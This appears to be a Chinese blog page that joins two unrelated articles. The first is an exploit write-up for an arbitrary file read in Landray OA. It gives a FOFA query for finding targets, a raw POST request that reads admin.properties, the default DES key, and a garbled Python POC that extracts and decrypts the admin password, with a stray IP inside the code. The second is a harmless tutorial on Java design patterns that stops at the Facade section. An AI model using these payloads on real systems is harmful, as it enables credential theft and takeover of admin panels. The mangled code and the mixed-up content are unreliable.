liu 发布的文章

漏洞描述

蓝凌OA(EKP)存在任意文件读取漏洞。可利用漏洞获取敏感信息,读取配置文件得到密码后访问后台
http://x.x.x.x/admin.do

漏洞影响版本

蓝凌OA

FOFA

app="Landray-OA系统"

漏洞复现过程

利用custom.jsp任意文件读取漏洞来读取配置文件

Payload如下:

请求:http://x.x.x.x/sys/ui/extend/varkind/custom.jsp
读取配置文件:/WEB-INF/KmssConfig/admin.properties,此处需要写为如下格式:
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

在BurpSuite上的数据包如下:

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

接着可以将得到的密钥:JMK83aAgUCrm2fHdvJWIEQ== 拿去DES在线解密网站进行解密

默认密钥:kmssAdminKey

在线解密网站:

http://tool.chacuo.net/cryptdes

接着拿着解密后的密钥去后台进行登录:

后台:http://x.x.x.x/admin.do

POC

# -*- coding: utf-8 -*-# @Author: Adura# @Date:   2021-06-09 10:54:47# @Last Modified by:   chenw# @Last Modified time: 2021-06-09 11:03:01import requestsimport sysimport reimport base64from pyDes import des, ECB, PAD_PKCS5from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)def title():    print('+-------------------------------------------------')    print('+  \033[31mPOC_by: Chenw                   \033[0m')    print('+  \033[31m漏洞名称: 蓝凌OA任意文件读取         \033[0m')    print('+  \033[36m使用格式:  python3 Poc.py         \033[0m')    print('+  \033[36m请输入URL: >>> http://ip:端口     \033[0m')    print('+-------------------------------------------------')def POC(url): 
    url1 =url
    url2 =url1+'/sys/ui/extend/varkind/custom.jsp'
    headers={    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",    "Content-Type":"application/x-www-form-urlencoded"
            }
    data='var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'

    #data='var={"body":{"file":"file:///etc/passwd"}}'
    try:
        r = requests.post(url=url2,headers=headers,data=data,verify=False,timeout=10)        if r.status_code == 200 and 'password' in r.text:            print(url+'存在蓝凌OA SSRF漏洞')            print('登录地址:'+url+'/admin.do')
            data = r.text.strip()
            data =str(data)
            data1 = data.split()
            data2 = ''.join(data1)
            password = re.findall(r"password=(.*?)\\rkmss",data2,re.I | re.M)
            password1 = str(password)
            KEY = 'kmssAdmi'
            try:
                secret_key = KEY
                iv = secret_key
                k = des(secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
                decrystr = k.decrypt(base64.b64decode(password1))
                decrystr2 = str(decrystr, 'utf-8').strip(':')                print('&*****&'+'后台密码为:' + decrystr2)            except Exception as e:                print('解密失败')        else:http://8.129.43.243:8081/            print(url+'\033[31m[x] 不存在漏洞 \033[0m')    except Exception as e:        print(url+'异常退出')	

if __name__ == '__main__':
	title()
	url = str(input("\033[35m请输入攻击目标的Url \nUrl >>> \033[0m"))
	POC(url)

使用Poc解密如下:


什么是设计模式

设计模式是在软件设计中反复出现的问题的通用解决方案。它们是经过多次验证和应用的指导原则,旨在帮助软件开发人员解决特定类型的问题,提高代码的可维护性、可扩展性和重用性。

设计模式是一种抽象化的思维方式,可以帮助开发人员更好地组织和设计他们的代码。它们提供了一种通用的框架,可以用于解决各种不同的软件设计问题。设计模式不是完整的代码,而是一种描述问题和解决方案之间关系的模板。

设计模式并不是一成不变的法则,而是根据不同的问题和情境来决定是否使用以及如何使用。了解和应用设计模式可以帮助开发人员更好地组织代码,提高代码的可读性和可维护性,同时也有助于促进团队之间的合作和沟通。

设计模式的分类

  1. 创建型模式(Creational):关注对象的实例化过程,包括了如何实例化对象、隐藏对象的创建细节等。常见的创建型模式有单例模式、工厂模式、抽象工厂模式等。

  2. 结构型模式(Structural):关注对象之间的组合方式,以达到构建更大结构的目标。这些模式帮助你定义对象之间的关系,从而实现更大的结构。常见的结构型模式有适配器模式、装饰器模式、代理模式等。

  3. 行为型模式(Behavioral):关注对象之间的通信方式,以及如何合作共同完成任务。这些模式涉及到对象之间的交互、责任分配等。常见的行为型模式有观察者模式、策略模式、命令模式等。

设计模式的基本要素

  1. 模式名称:每个设计模式都有一个简洁的名称,用于描述问题、解决方案和效果。这个名称有助于在交流中快速指代模式。

  2. 问题:描述了在什么情况下应该考虑使用特定的设计模式。问题部分阐述了该模式试图解决的具体设计难题。

  3. 解决方案:解决方案部分提供了一个详细的设计指南,描述了如何组织类、对象以及它们之间的关系,以解决特定问题。这包括了每个角色的职责、协作方式等。

  4. 效果:描述了模式应用的效果及使用模式应权衡的问题。

种设计模式概览

23种设计模式概览

设计模式间的关系

23种设计模式关系

设计模式代码示例仓库地址

23种设计模式JAVA实现(弱弱求个star )

设计模式详解

1. 工厂方法模式(Factory Method)

问题

在软件设计中,我们经常遇到需要创建不同类型对象的情况。但是,如果直接在代码中实例化对象,会使代码紧密耦合在一起,难以维护和扩展。此外,如果对象的创建方式需要变化,那么就需要在整个代码中进行大量的修改。工厂方法模式旨在解决这个问题。

解决方案

工厂方法模式提供了一个创建对象的接口,但是将具体的对象创建延迟到子类中。这样,客户端代码不需要知道要创建的具体对象的类,只需要通过工厂方法来创建对象。这使得客户端代码与具体对象的创建解耦,提高了代码的灵活性和可维护性。

在工厂方法模式中,通常会定义一个抽象工厂类,其中包含一个创建对象的抽象方法,而具体的对象创建则由具体的子类实现。这样,每个具体的子类都可以根据需要创建不同类型的对象,而客户端代码只需要通过抽象工厂类来调用工厂方法,而不需要关心具体的对象创建细节。

效果

工厂方法模式的优点包括:

  • 松耦合:客户端代码与具体对象的创建解耦,使得系统更具弹性和可维护性。

  • 扩展性:通过添加新的具体工厂和产品子类,可以很容易地扩展系统以支持新的对象类型。

  • 封装性:将对象的创建集中在工厂类中,封装了对象的创建细节,使得客户端代码更简洁。

然而,工厂方法模式也可能引入一些额外的复杂性,因为需要定义多个工厂类和产品类的层次结构。这可能会导致系统中类的数量增加。在选择使用工厂方法模式时,需要根据具体情况进行权衡。

工厂方法模式在实际应用中非常常见,例如,图形库可以使用工厂方法模式来创建不同类型的图形对象,数据库访问框架可以使用工厂方法模式来创建不同类型的数据库连接等。

代码示例:

// 首先,我们需要定义一个图形接口interface Shape {
    void draw();}// 然后,我们实现两个具体的图形类,分别是 Circle(圆形)和 Rectangle(矩形)class Circle implements Shape {
    @Override
    public void draw() {
        System.out.println("Drawing a circle");
    }}class Rectangle implements Shape {
    @Override
    public void draw() {
        System.out.println("Drawing a rectangle");
    }}// 接下来,我们创建一个抽象工厂类 ShapeFactory// 它定义了一个抽象的工厂方法 createShape,子类将实现这个方法来创建具体的图形对象abstract class ShapeFactory {
    abstract Shape createShape();}// 然后,我们创建两个具体的工厂类,分别是 CircleFactory 和 RectangleFactory// 它们分别实现了 ShapeFactory 并重写了 createShape 方法来返回相应的图形对象class CircleFactory extends ShapeFactory {
    @Override
    Shape createShape() {
        return new Circle();
    }}class RectangleFactory extends ShapeFactory {
    @Override
    Shape createShape() {
        return new Rectangle();
    }}// 我们可以使用这些工厂类来创建图形对象public class FactoryMethodExample {
    public static void main(String[] args) {
        ShapeFactory circleFactory = new CircleFactory();
        Shape circle = circleFactory.createShape();
        circle.draw();
        
        ShapeFactory rectangleFactory = new RectangleFactory();
        Shape rectangle = rectangleFactory.createShape();
        rectangle.draw();
    }}

2. 抽象工厂模式(Abstract Factory)

问题

在某些情况下,需要创建一系列相关或相互依赖的对象,这些对象属于一组相关的产品族。同时,系统需要保证这些产品族之间的一致性。如果直接在代码中创建这些对象,会使得代码与具体产品的细节紧密耦合,不利于后续的扩展和维护。

解决方案

抽象工厂模式提供了一个接口,用于创建一系列相关或相互依赖的对象。通过使用抽象工厂接口及其具体实现,可以将对象的创建与客户端代码分离,从而实现系统的松耦合。抽象工厂模式涉及多个角色:

  • 抽象工厂(Abstract Factory):声明了一组用于创建不同产品的抽象方法。具体的工厂类必须实现这些方法来创建具体的产品对象。

  • 具体工厂(Concrete Factory):实现抽象工厂接口,负责创建特定种类的产品对象。

  • 抽象产品(Abstract Product):定义了产品的通用接口,具体产品必须实现这个接口。

  • 具体产品(Concrete Product):实现抽象产品接口,是抽象工厂创建的实际对象。

效果

抽象工厂模式的使用可以带来以下效果:

  • 产品族一致性:抽象工厂确保创建的产品是一组相关的产品族,保证了这些产品之间的一致性。

  • 松耦合:客户端代码不需要直接依赖于具体产品,只需要通过抽象工厂接口创建产品,从而降低了代码的耦合度。

  • 可扩展性:增加新的产品族或产品变得相对容易,只需要添加新的具体工厂和产品类即可,不需要修改现有代码。

  • 限制:抽象工厂模式要求系统中的每个产品族都必须有一个对应的具体工厂,这可能增加了系统的复杂性。

抽象工厂模式适用于需要创建一系列相关产品并保证它们之间一致性的情况,例如图形界面库中的UI元素,不同操作系统下的界面组件等。通过使用抽象工厂模式,可以更好地管理和组织这些产品的创建过程。

代码示例:

// 抽象产品接口:操作系统
interface OperatingSystem {
    void run();
}

// 具体产品:Windows操作系统
class WindowsOS implements OperatingSystem {
    @Override
    public void run() {
        System.out.println("Running Windows OS");
    }
}

// 具体产品:Linux操作系统
class LinuxOS implements OperatingSystem {
    @Override
    public void run() {
        System.out.println("Running Linux OS");
    }
}

// 抽象产品接口:应用程序
interface Application {
    void open();
}

// 具体产品:Word应用程序
class WordApplication implements Application {
    @Override
    public void open() {
        System.out.println("Opening Word Application");
    }
}

// 具体产品:Excel应用程序
class ExcelApplication implements Application {
    @Override
    public void open() {
        System.out.println("Opening Excel Application");
    }
}

// 抽象工厂接口
interface SoftwareFactory {
    OperatingSystem createOperatingSystem();
    Application createApplication();
}

// 具体工厂:Windows工厂
class WindowsFactory implements SoftwareFactory {
    @Override
    public OperatingSystem createOperatingSystem() {
        return new WindowsOS();
    }

    @Override
    public Application createApplication() {
        return new ExcelApplication();
    }
}

// 具体工厂:Linux工厂
class LinuxFactory implements SoftwareFactory {
    @Override
    public OperatingSystem createOperatingSystem() {
        return new LinuxOS();
    }

    @Override
    public Application createApplication() {
        return new WordApplication();
    }
}

// 在这个示例中,抽象工厂模式通过SoftwareFactory接口和其实现类来创建不同类型的操作系统和应用程序。
// 客户端代码可以根据需要选择不同的工厂实例来创建不同的产品组合。
public class Client {
    public static void main(String[] args) {
        SoftwareFactory windowsFactory = new WindowsFactory();
        OperatingSystem windowsOS = windowsFactory.createOperatingSystem();
        Application windowsApp = windowsFactory.createApplication();

        windowsOS.run();
        windowsApp.open();

        SoftwareFactory linuxFactory = new LinuxFactory();
        OperatingSystem linuxOS = linuxFactory.createOperatingSystem();
        Application linuxApp = linuxFactory.createApplication();

        linuxOS.run();
        linuxApp.open();
    }
}

3. 建造者模式(Builder)

问题

在某些情况下,一个对象的创建过程非常复杂,涉及多个步骤,每个步骤都可能有不同的实现方式。如果将所有创建逻辑放在一个类中,会导致该类变得庞大且难以维护。此外,如果需要创建不同的变体对象,就需要在该类中添加更多的逻辑,使得代码变得混乱。

解决方案

建造者模式提供了一种将一个复杂对象的构建过程与其表示分离的方法。它将对象的构建过程封装在一个独立的"建造者"类中,由该类负责逐步构建对象。这样,可以根据需要创建不同的建造者来构建不同的对象变体。通常,建造者模式涉及以下角色:

  • 产品(Product):表示正在构建的复杂对象。建造者模式的目标是构建这个产品。

  • 抽象建造者(Abstract Builder):定义了构建产品的步骤和方法,但没有具体的实现。不同的具体建造者可以实现不同的构建步骤,从而创建不同的产品变体。

  • 具体建造者(Concrete Builder):实现了抽象建造者定义的方法,完成了产品的构建过程。每个具体建造者负责构建特定的产品变体。

  • 指导者(Director):负责控制建造的过程。它通过将客户端与具体建造者分离,确保产品的构建是按照一定顺序和规则进行的。

效果

建造者模式的效果包括:

  • 分离构建过程和表示:通过建造者模式,可以将复杂对象的构建过程与其最终表示分离,使得构建过程更加清晰可控。

  • 支持不同的表示:通过使用不同的具体建造者,可以创建不同的产品表示,而不改变客户端的代码。

  • 更好的可扩展性:如果需要添加新的产品变体,只需创建一个新的具体建造者即可,而无需修改已有的代码。

  • 隐藏产品的内部结构:客户端只需与抽象建造者和指导者交互,无需关心产品的内部构建细节。

总之,建造者模式适用于需要构建复杂对象,且构建过程涉及多个步骤或变体的情况。通过将构建过程分解为可重用的步骤,建造者模式提供了一种结构化的方法来创建对象。

代码示例:

// 首先,我们定义房屋类 House,它具有多个属性,如地基、结构、屋顶和装修。
class House {
    private String foundation;
    private String structure;
    private String roof;
    private String interior;

    public void setFoundation(String foundation) {
        this.foundation = foundation;
    }

    public void setStructure(String structure) {
        this.structure = structure;
    }

    public void setRoof(String roof) {
        this.roof = roof;
    }

    public void setInterior(String interior) {
        this.interior = interior;
    }

    @Override
    public String toString() {
        return "House [foundation=" + foundation + ", structure=" + structure + ", roof=" + roof + ", interior=" + interior + "]";
    }
}
// 然后,我们创建一个抽象建造者类 HouseBuilder,它定义了构建房屋的方法。
abstract class HouseBuilder {
    protected House house = new House();

    public abstract void buildFoundation();
    public abstract void buildStructure();
    public abstract void buildRoof();
    public abstract void buildInterior();

    public House getHouse() {
        return house;
    }
}
// 接下来,我们创建两个具体的建造者类 ConcreteHouseBuilder 和 LuxuryHouseBuilder
// 分别实现了不同类型房屋的构建过程。
// 具体建造者类 - 普通房屋
class ConcreteHouseBuilder extends HouseBuilder {
    @Override
    public void buildFoundation() {
        house.setFoundation("Standard Foundation");
    }

    @Override
    public void buildStructure() {
        house.setStructure("Standard Structure");
    }

    @Override
    public void buildRoof() {
        house.setRoof("Standard Roof");
    }

    @Override
    public void buildInterior() {
        house.setInterior("Standard Interior");
    }
}

// 具体建造者类 - 豪华房屋
class LuxuryHouseBuilder extends HouseBuilder {
    @Override
    public void buildFoundation() {
        house.setFoundation("Strong Foundation");
    }

    @Override
    public void buildStructure() {
        house.setStructure("Reinforced Structure");
    }

    @Override
    public void buildRoof() {
        house.setRoof("Elegant Roof");
    }

    @Override
    public void buildInterior() {
        house.setInterior("Luxury Interior");
    }
}
// 最后,我们创建指导者类 Director,它协调建造过程并返回构建的房屋对象。
class Director {
    private HouseBuilder builder;

    public Director(HouseBuilder builder) {
        this.builder = builder;
    }

    public House constructHouse() {
        builder.buildFoundation();
        builder.buildStructure();
        builder.buildRoof();
        builder.buildInterior();
        return builder.getHouse();
    }
}
// 这个示例演示了如何使用建造者模式创建不同类型的房屋,每种房屋类型的建造过程都由相应的具体建造者类负责实现,而指导者类负责协调建造过程。
public class BuilderPatternExample {
    public static void main(String[] args) {
        HouseBuilder concreteBuilder = new ConcreteHouseBuilder();
        Director director1 = new Director(concreteBuilder);
        House concreteHouse = director1.constructHouse();
        System.out.println("Concrete House: " + concreteHouse);

        HouseBuilder luxuryBuilder = new LuxuryHouseBuilder();
        Director director2 = new Director(luxuryBuilder);
        House luxuryHouse = director2.constructHouse();
        System.out.println("Luxury House: " + luxuryHouse);
    }
}

4. 原型模式(Prototype)

问题

在某些情况下,需要创建对象的副本,但复制一个对象的成本可能很高,或者希望避免与对象的具体类耦合。例如,当创建对象的过程较为复杂,或者对象包含大量共享的状态时,使用常规的创建方法可能会导致性能下降。

解决方案

原型模式的解决方案是通过复制现有对象来创建新对象,而不是从头开始构建。这允许我们以更高效的方式创建新对象,同时避免了与对象类的直接耦合。核心概念是在原型对象的基础上进行克隆,使得新对象具有与原型相同的初始状态。

在原型模式中,通常会有以下几个角色:

  • 抽象原型(Prototype):声明克隆方法,作为所有具体原型的基类或接口。

  • 具体原型(Concrete Prototype):实现克隆方法,从自身创建一个副本。

  • 客户端(Client):使用原型对象的客户端代码,在需要新对象时通过克隆现有对象来创建新实例。

效果

原型模式的应用可以带来以下效果:

  • 减少对象创建的成本:避免了复杂对象的重复初始化过程,提高了创建对象的效率。

  • 避免与具体类耦合:客户端可以通过克隆方法创建新对象,而无需知道具体类的细节,降低了耦合度。

  • 灵活性增加:可以在运行时动态地添加或删除原型,适应不同的对象创建需求。

  • 支持动态配置:可以通过克隆来定制对象的不同配置,而无需修改其代码。

然而,也需要注意一些限制,如:

  • 深克隆问题:原型模式默认进行浅克隆,即复制对象本身和其引用。如果对象内部包含其他对象的引用,可能需要实现深克隆来复制整个对象结构。

  • 克隆方法的实现:某些对象可能不容易进行克隆,特别是涉及到文件、网络连接等资源的情况。

总之,原型模式是一种在需要创建对象副本时非常有用的设计模式,它提供了一种灵活且高效的方法来处理对象的复制需求。

代码示例:

// 创建一个实现 Cloneable 接口的原型类
class Shape implements Cloneable {
    private String type;

    public Shape(String type) {
        this.type = type;
    }

    public String getType() {
        return type;
    }

    public void setType(String type) {
        this.type = type;
    }

    @Override
    public Shape clone() {
        try {
            return (Shape) super.clone();
        } catch (CloneNotSupportedException e) {
            return null;
        }
    }
}

// 测试原型模式
public class PrototypeExample {
    public static void main(String[] args) {
        // 创建原型对象
        Shape circle = new Shape("Circle");
        
        // 克隆原型对象来创建新对象
        Shape clonedCircle = circle.clone();
        clonedCircle.setType("Cloned Circle");

        // 输出原型对象和克隆对象的类型
        System.out.println("Original Shape Type: " + circle.getType());
        System.out.println("Cloned Shape Type: " + clonedCircle.getType());
    }
}

5. 单例模式(Singleton)

问题:

在某些情况下,需要确保一个类只有一个实例,并且需要一个全局访问点来访问这个实例。例如,在一个应用程序中,一个配置管理器类需要保持一致的配置数据,以避免不同部分之间的配置冲突。

解决方案:

单例模式通过确保一个类只能创建一个实例,并提供一个静态方法或静态属性来访问这个实例。通常,单例类会将自己的构造函数声明为私有,以防止外部代码直接创建实例。通过一个静态方法,单例类可以控制在运行时只能获得同一个实例。

效果:

单例模式的应用可以确保在整个应用程序中只有一个实例存在,从而节省了资源和内存。它也可以提供一个全局的访问点,使得代码中的各个部分都可以方便地获取这个实例。然而,过度使用单例模式可能导致全局状态的难以控制,以及模块之间的紧耦合。在多线程环境下需要小心处理,以确保线程安全。

总之,单例模式是一种常用的设计模式,适用于需要全局唯一实例的场景。它的核心思想在于通过限制类的实例化来控制对象的数量,从而保证全局唯一性。

代码示例:

public class Singleton {
    // 私有静态成员变量,用于保存单例实例
    private static Singleton instance;
    
    // 私有构造方法,防止外部实例化
    private Singleton() {
        // 初始化操作
    }
    
    // 公共静态方法,用于获取单例实例
    public static Singleton getInstance() {
        if (instance == null) {
            // 如果实例为空,则创建一个新实例
            instance = new Singleton();
        }
        return instance;
    }
    
    // 其他成员方法
    public void showMessage() {
        System.out.println("Hello, I am a Singleton!");
    }
}
// 这个示例演示了如何创建一个简单的单例模式
// 但请注意,这个实现并不是线程安全的。
// 在多线程环境中,可能会出现多个线程同时访问getInstance()方法,导致创建多个实例的情况。
// 为了实现线程安全的单例模式,可以使用双重检查锁定或其他同步机制。
public class Main {
    public static void main(String[] args) {
        // 获取单例实例
        Singleton singleton = Singleton.getInstance();
        
        // 调用成员方法
        singleton.showMessage();
    }
}

6. 适配器模式(Adapter)

问题

当你有两个不兼容的接口(即类或对象),但需要它们能够一起工作时,适配器模式可以解决这个问题。例如,你可能有一个已存在的类库或组件,但其接口与你的代码不匹配,你希望能够无缝地将它们集成在一起。

解决方案

适配器模式通过引入一个适配器类来充当中间人,将一个接口转换成另一个接口,使得两个不兼容的对象能够协同工作。适配器类包含一个对不兼容接口的引用,并实现了你期望的目标接口。这样,当你需要使用目标接口的时候,可以通过适配器来调用原本不兼容的类的方法。

效果

适配器模式的应用可以使得现有的代码与新代码能够无缝协同工作,从而提高了代码的可重用性。它允许你将不同系统、库或组件整合在一起,而无需对现有代码进行大量修改。然而,适配器模式也可能引入一些复杂性,因为你需要维护适配器类和处理不同接口之间的映射关系。

总的来说,适配器模式是一种很有用的模式,特别适合在集成不同组件或类时,解决接口不匹配的问题,从而保持代码的灵活性和可维护性。

代码示例:

// 已存在的LegacyRectangle类
class LegacyRectangle {
    public void display(int x1, int y1, int x2, int y2) {
        System.out.println("LegacyRectangle: Point1(" + x1 + ", " + y1 + "), Point2(" + x2 + ", " + y2 + ")");
    }
}

// 统一的Shape接口
interface Shape {
    void draw(int x, int y, int width, int height);
}

// 适配器类,将LegacyRectangle适配到Shape接口上
class RectangleAdapter implements Shape {
    private LegacyRectangle legacyRectangle;

    public RectangleAdapter(LegacyRectangle legacyRectangle) {
        this.legacyRectangle = legacyRectangle;
    }

    @Override
    public void draw(int x, int y, int width, int height) {
        int x1 = x;
        int y1 = y;
        int x2 = x + width;
        int y2 = y + height;
        legacyRectangle.display(x1, y1, x2, y2);
    }
}

// 在这个示例中,LegacyRectangle是已经存在的类,而RectangleAdapter是适配器类,用于将LegacyRectangle适配到Shape接口上。
// 客户端代码通过使用适配器来画一个矩形,实际上是在调用了LegacyRectangle的display方法,但是通过适配器,它符合了Shape接口的标准。
public class AdapterPatternExample {
    public static void main(String[] args) {
        LegacyRectangle legacyRectangle = new LegacyRectangle();
        Shape shapeAdapter = new RectangleAdapter(legacyRectangle);

        shapeAdapter.draw(10, 20, 50, 30);
    }
}

7. 桥接模式(Bridge)

问题

在软件设计中,有时候你会遇到一个类有多个变化维度(例如抽象和具体的实现)。如果使用继承来处理这些变化,将会导致类层次结构的急剧增加,难以管理和维护。此外,继承会将抽象部分和具体部分紧密耦合,不利于独立地进行扩展和变化。

解决方案

桥接模式通过将抽象部分和具体部分分离,使它们可以独立地变化。在桥接模式中,通过创建一个桥接接口(或抽象类),其中包含一个指向具体实现的引用,将抽象部分和具体部分连接起来。这样,抽象部分和具体部分可以独立地进行扩展,而不会相互影响。这种方式也被称为“组合优于继承”。

效果

桥接模式的应用能够提供更好的灵活性和可扩展性。它允许抽象部分和具体部分独立变化,避免了类层次结构的爆炸式增长。这样可以更容易地添加新的抽象部分和具体部分,而不会影响到彼此。然而,使用桥接模式可能会引入一些复杂性,因为你需要管理更多的类和对象。

总之,桥接模式是一种有助于解耦抽象和实现,提供更灵活、可扩展设计的设计模式。它适用于那些需要处理多个变化维度的情况,同时又希望保持代码的清晰结构和可维护性。

代码示例:

// 实现部分 - 颜色接口
interface Color {
    void applyColor();
}

class Red implements Color {
    public void applyColor() {
        System.out.println("Applying red color");
    }
}

class Blue implements Color {
    public void applyColor() {
        System.out.println("Applying blue color");
    }
}

// 抽象部分 - 形状类
abstract class Shape {
    protected Color color;

    public Shape(Color color) {
        this.color = color;
    }

    abstract void draw();
}

class Circle extends Shape {
    public Circle(Color color) {
        super(color);
    }

    public void draw() {
        System.out.print("Drawing a circle. ");
        color.applyColor();
    }
}

class Square extends Shape {
    public Square(Color color) {
        super(color);
    }

    public void draw() {
        System.out.print("Drawing a square. ");
        color.applyColor();
    }
}

// 在这个示例中,Color 接口代表颜色的实现部分,Red 和 Blue 分别是实现了颜色接口的具体颜色类。
// Shape 是形状的抽象部分,具有一个颜色引用,而 Circle 和 Square 是继承自 Shape 的具体形状类。
// 这种设计允许我们在不改变形状或颜色的情况下,独立地对它们进行扩展和变化。
public class BridgePatternExample {
    public static void main(String[] args) {
        Color redColor = new Red();
        Color blueColor = new Blue();

        Shape redCircle = new Circle(redColor);
        Shape blueSquare = new Square(blueColor);

        redCircle.draw();
        blueSquare.draw();
    }
}

8. 组合模式(Composite)

问题:

在某些情况下,我们需要处理一组对象,这些对象之间具有整体-部分的关系。我们希望能够以一致的方式处理单个对象和对象组合,而不需要对它们进行特殊处理。

解决方案:

组合模式的解决方案是将对象组合成树状结构,其中树的节点可以是单个对象或对象组合。这样,无论是操作单个对象还是对象组合,都可以使用统一的方式进行操作。组合模式通过定义一个共同的抽象类或接口来表示单个对象和对象组合,从而实现了透明的处理。

在组合模式中,通常有两种主要角色:

  1. 组件(Component): 这是一个抽象类或接口,定义了单个对象和对象组合共同的操作。它可以有一些默认实现,也可以有抽象方法需要在具体子类中实现。

  2. 叶子(Leaf): 继承自组件,表示单个对象。它没有子对象。

  3. 复合(Composite): 继承自组件,表示对象组合。它包含了一组子对象,这些子对象可以是叶子,也可以是复合。

效果:

组合模式的优点包括:

  • 透明性: 使用组合模式,客户端可以一致地对待单个对象和对象组合,无需关心具体对象的类型。

  • 简化客户端代码: 客户端不需要判断操作的对象是单个对象还是对象组合,从而简化了客户端的代码。

  • 灵活性: 可以很方便地添加新的叶子或复合对象,扩展性较好。

然而,组合模式也可能带来一些限制和权衡,如:

  • 不适合所有情况: 并非所有情况都适合使用组合模式。在一些情况下,可能会引入不必要的复杂性。

  • 可能限制操作: 组合模式可能会限制某些特定对象的操作,因为共同的抽象接口可能无法涵盖所有可能的操作。

综上所述,组合模式适用于处理对象的整体-部分关系,并且能够提供一种统一、透明的方式来处理这些对象,从而提高代码的可维护性和扩展性。

代码示例:

// 组件接口
interface FileSystemComponent {
    void displayInfo();
}

// 叶子节点
class File implements FileSystemComponent {
    private String name;

    public File(String name) {
        this.name = name;
    }

    public void displayInfo() {
        System.out.println("File: " + name);
    }
}

// 容器节点
class Directory implements FileSystemComponent {
    private String name;
    private List<FileSystemComponent> components;

    public Directory(String name) {
        this.name = name;
        components = new ArrayList<>();
    }

    public void addComponent(FileSystemComponent component) {
        components.add(component);
    }

    public void displayInfo() {
        System.out.println("Directory: " + name);
        for (FileSystemComponent component : components) {
            component.displayInfo();
        }
    }
}

// 在这个示例中,FileSystemComponent 是组合模式的组件接口,File 是叶子节点类,而 Directory 是容器节点类。
// 通过使用这些类,我们可以构建一个具有层次结构的文件系统。
// 注意:这只是一个简单的示例,真实的组合模式可能涉及更复杂的场景和更多的功能。
public class CompositePatternExample {
    public static void main(String[] args) {
        // 创建文件和文件夹
        File file1 = new File("file1.txt");
        File file2 = new File("file2.txt");
        Directory subDirectory = new Directory("Subdirectory");
        subDirectory.addComponent(file1);
        subDirectory.addComponent(file2);

        Directory rootDirectory = new Directory("Root");
        rootDirectory.addComponent(subDirectory);

        // 展示文件系统结构
        rootDirectory.displayInfo();
    }
}

9. 装饰模式(Decorator)

问题

在某些情况下,我们需要在不修改现有对象结构的情况下,动态地添加功能或责任。继承在这种情况下可能会导致类爆炸问题,而且修改现有类可能会影响到其他部分的代码。

解决方案

装饰模式提供了一种在运行时动态地为对象添加新功能的方法,通过创建一个装饰类来包装原始类。装饰类具有与原始类相同的接口,它内部包含一个指向原始对象的引用,并且可以根据需要包装额外的功能。这样,你可以通过组合不同的装饰类来构建出具有不同功能组合的对象。

效果

装饰模式的优点包括避免了类爆炸问题,因为你可以通过组合少量的装饰类来实现各种功能组合。它也使得功能的增加和修改更加灵活,不会影响到其他部分的代码。然而,装饰模式可能会导致增加很多小型的类,从而增加了代码的复杂性。

在装饰模式中,通常涉及以下角色:

  1. 组件(Component):定义了一个抽象的接口,可以是具体对象或装饰器所共有的接口。

  2. 具体组件(Concrete Component):实现了组件接口,是被装饰的原始对象。

  3. 装饰器(Decorator):持有一个指向组件对象的引用,并实现了组件的接口。它可以包含额外的功能,也可以将请求传递给组件对象。

  4. 具体装饰器(Concrete Decorator):扩展了装饰器类,通过添加额外的功能来装饰具体组件。

通过这种方式,装饰模式允许你将功能嵌套地堆叠在一起,以实现各种不同的功能组合,同时保持代码的灵活性和可维护性。

代码示例:

// 首先定义一个咖啡接口
interface Coffee {
    double cost();
    String description();
}

// 实现基本的咖啡类
class SimpleCoffee implements Coffee {
    @Override
    public double cost() {
        return 2.0;
    }

    @Override
    public String description() {
        return "Simple Coffee";
    }
}

// 创建装饰器抽象类
abstract class CoffeeDecorator implements Coffee {
    protected Coffee decoratedCoffee;

    public CoffeeDecorator(Coffee coffee) {
        this.decoratedCoffee = coffee;
    }

    @Override
    public double cost() {
        return decoratedCoffee.cost();
    }

    @Override
    public String description() {
        return decoratedCoffee.description();
    }
}

// 实现具体的装饰器类
class MilkDecorator extends CoffeeDecorator {
    public MilkDecorator(Coffee coffee) {
        super(coffee);
    }

    @Override
    public double cost() {
        return super.cost() + 1.0;
    }

    @Override
    public String description() {
        return super.description() + ", with Milk";
    }
}

class SugarDecorator extends CoffeeDecorator {
    public SugarDecorator(Coffee coffee) {
        super(coffee);
    }

    @Override
    public double cost() {
        return super.cost() + 0.5;
    }

    @Override
    public String description() {
        return super.description() + ", with Sugar";
    }
}

// 在这个示例中,Coffee 接口定义了基本的咖啡功能。SimpleCoffee 类实现了基本的咖啡。
// CoffeeDecorator 是装饰器的抽象类,它维护一个被装饰的咖啡对象。
// MilkDecorator 和 SugarDecorator 分别实现了具体的装饰器,通过在原始咖啡上添加新的功能。
public class DecoratorPatternExample {
    public static void main(String[] args) {
        Coffee simpleCoffee = new SimpleCoffee();
        System.out.println("Cost: $" + simpleCoffee.cost() + ", Description: " + simpleCoffee.description());

        Coffee milkCoffee = new MilkDecorator(simpleCoffee);
        System.out.println("Cost: $" + milkCoffee.cost() + ", Description: " + milkCoffee.description());

        Coffee sugarMilkCoffee = new SugarDecorator(milkCoffee);
        System.out.println("Cost: $" + sugarMilkCoffee.cost() + ", Description: " + sugarMilkCoffee.description());
    }
}

10. 外观模式(Facade)

问题

在软件开发中,系统可能变得非常复杂,包含多个子系统和各种交互。这些子系统之间的依赖关系和调用可能变得混乱,导致系统难以理解、扩展和维护。在这种情况下,我们需要一种方法来提供一个简单的接口,将复杂的子系统调用和依赖关系进行封装,使客户端能够更轻松地与系统进行交互。

解决方案

外观模式通过引入一个外观类(Facade),将复杂的子系统接口进行封装,为客户端提供一个简单的高层接口。外观类充当了客户端与子系统之间的中间人,处理客户端的请求并将其转发给适当的子系统。外观模式并不在系统中添加新功能,它只是提供了一个更简洁的接口,以简化客户端的操作。

效果

外观模式的应用可以带来以下效果:

